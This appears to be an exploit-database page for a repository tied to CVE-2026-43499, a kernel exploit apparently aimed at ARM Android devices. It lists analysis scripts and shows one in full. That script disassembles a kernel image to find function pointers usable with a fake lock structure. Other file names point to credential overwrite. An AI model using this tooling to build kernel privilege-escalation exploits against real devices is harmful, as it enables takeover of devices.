Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- analyze_copy_funcs.py
- analyze_func2.py
- analyze_select.py
- analyze_stack.py
- analyze_stamps.py
- analyze_stamps2.py
- analyze_syscall.py
- analyze_targets.py
- analyze_vector.py
- bfs_stamp_search.py
- calc_overlap.py
- chain_disasm.txt
- check_288.py
- check_4e8.py
- check_9978.py
- check_adjtimex.py
- check_adjust_call.py
- check_adjust_pi.py
- check_adjust_pi2.py
- check_adjust_prio.py
- check_after_enqueue.py
- check_ashmem_funcs.py
- check_bc24.py
- check_bfi.py
- check_bind_wrapper.py
- check_bitmap.py
- check_bugons.py
- check_caller.py
- check_candidate.py
- check_candidates.py
- check_capable.py
- check_chain2.py
- check_cleanup.py
- check_cleanup2.py
- check_cleanup_funcs.py
- check_code_ptr.py
- check_comm_tail.py
- check_commit_creds.py
- check_config.py
- check_copy_funcs.py
- check_cred_overwrite.py
- check_css_frame.py
- check_dequeue.py
- check_dequeue_funcs.py
- check_e9248_path.py
- check_e9248_path2.py
- check_e9248_safe.py
- check_edeadlk_handler.py
- check_edeadlk_path.py
- check_enqueue_full.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
analysis/find_call_ptrs.py
Python · 4,869 bytesimport sys
sys.path.insert(0, 'pylibs')
import struct
from capstone import Cs, CS_ARCH_ARM, CS_MODE_ARM
with open('kernel_raw.bin', 'rb') as f:
data = f.read()
BASE = 0xC0008000
md = Cs(CS_ARCH_ARM, CS_MODE_ARM)
# Search for common kernel function pointers in BSS that are called with no/simple args
# Let's look for BSS locations that are loaded and then called via ldr rN, [rN, #0]
# or blx rN patterns
# First, let's find ALL BSS pointers to code (0xc0008000-0xc1000000)
# and check which ones have the right surrounding fields for fake_lock
bss_start = 0xc1b00000 - BASE
bss_end = min(len(data), 0xc1c00000 - BASE)
print("=== BSS code pointers with fake_lock-compatible context ===")
print("(zero before, zero at +8, <=1 at +0xc)")
results = []
for i in range(bss_start, bss_end - 16, 4):
w0 = struct.unpack('<I', data[i-4:i])[0]
ptr = struct.unpack('<I', data[i:i+4])[0]
w2 = struct.unpack('<I', data[i+4:i+8])[0]
w3 = struct.unpack('<I', data[i+8:i+12])[0]
if w0 == 0 and w2 == 0 and w3 <= 1 and 0xc0008000 <= ptr < 0xc1000000:
results.append((BASE + i, ptr))
print(f"Found {len(results)} direct code pointers")
for addr, ptr in results[:20]:
print(f" BSS 0x{addr:08x} -> code 0x{ptr:08x}")
# Now search for BSS pointers to DATA structures where offset 0 is a code pointer
# (i.e., the structure starts with a function pointer)
print("\n=== BSS ptrs to data structures with code ptr at offset 0 ===")
count = 0
for i in range(bss_start, bss_end - 16, 4):
w0 = struct.unpack('<I', data[i-4:i])[0]
ptr = struct.unpack('<I', data[i:i+4])[0]
w2 = struct.unpack('<I', data[i+4:i+8])[0]
w3 = struct.unpack('<I', data[i+8:i+12])[0]
if w0 == 0 and w2 == 0 and w3 <= 1 and 0xc1000000 <= ptr < 0xc1b00000:
if ptr + 4 < BASE + len(data):
func = struct.unpack('<I', data[ptr-BASE:ptr-BASE+4])[0]
if 0xc0008000 <= func < 0xc1000000:
print(f" BSS 0x{BASE+i:08x} -> data 0x{ptr:08x}, [0]=0x{func:08x}")
count += 1
if count > 20:
break
# Search for the msm_rpm or device restart function pointers
# Also look for "restart", "power_off", "shutdown" strings
print("\n=== Searching for restart/power_off strings ===")
for s in [b'pm_power_off', b'arm_pm_restart', b'machine_restart',
b'machine_power_off', b'pm_power_off_prepare',
b'kernel_restart', b'__machine_boot']:
idx = data.find(s)
if idx >= 0:
print(f" '{s.decode()}' at 0x{BASE+idx:08x}")
# Search for BSS variables that are called indirectly
# Pattern: ldr rN, [rM, #off]; ... blx rN or ldr rN, [rN]; blx rN
# Let's look for ldr rN, [pc, #off] loading a BSS address, then ldr rN, [rN], then blx rN
print("\n=== BSS function pointers loaded and called ===")
count = 0
for i in range(0, len(data) - 16, 4):
inst1 = struct.unpack('<I', data[i:i+4])[0]
# ldr rN, [pc, #off]
if (inst1 & 0x0f7f0000) == 0x051f0000:
rn = (inst1 >> 12) & 0xf
off = inst1 & 0xfff
lit_addr = BASE + i + 8 + off
if lit_addr < BASE + len(data) - 4:
val = struct.unpack('<I', data[lit_addr-BASE:lit_addr-BASE+4])[0]
if 0xc1b00000 <= val < 0xc1c00000:
# Check next few instructions for ldr rN, [rN] followed by blx
for j in range(1, 6):
ci = i + j*4
if ci + 4 > len(data):
break
inst2 = struct.unpack('<I', data[ci:ci+4])[0]
# ldr rN, [rN] = 0xe59NN000
if (inst2 & 0x0ff000f0) == (0x05900000 | (rn << 16) | (rn << 12)):
# Check for blx rN in next few instructions
for k in range(j+1, j+4):
ci2 = i + k*4
if ci2 + 4 > len(data):
break
inst3 = struct.unpack('<I', data[ci2:ci2+4])[0]
# blx rN = 0xe12fff3N
if inst3 == (0xe12fff30 | rn):
# Check what's at the BSS address
ptr = struct.unpack('<I', data[val-BASE:val-BASE+4])[0]
w0 = struct.unpack('<I', data[val-BASE-4:val-BASE])[0] if val-BASE >= 4 else 0
w2 = struct.unpack('<I', data[val-BASE+4:val-BASE+8])[0] if val-BASE+8 < len(data) else 0
w3 = struct.unpack('<I', data[val-BASE+8:val-BASE+12])[0] if val-BASE+12 < len(data) else 0
print(f" BSS 0x{val:08x} called from 0x{BASE+i:08x}, ptr=0x{ptr:08x}, ctx=[0x{w0:08x},0x{w2:08x},0x{w3:08x}]")
count += 1
break
if count > 20:
break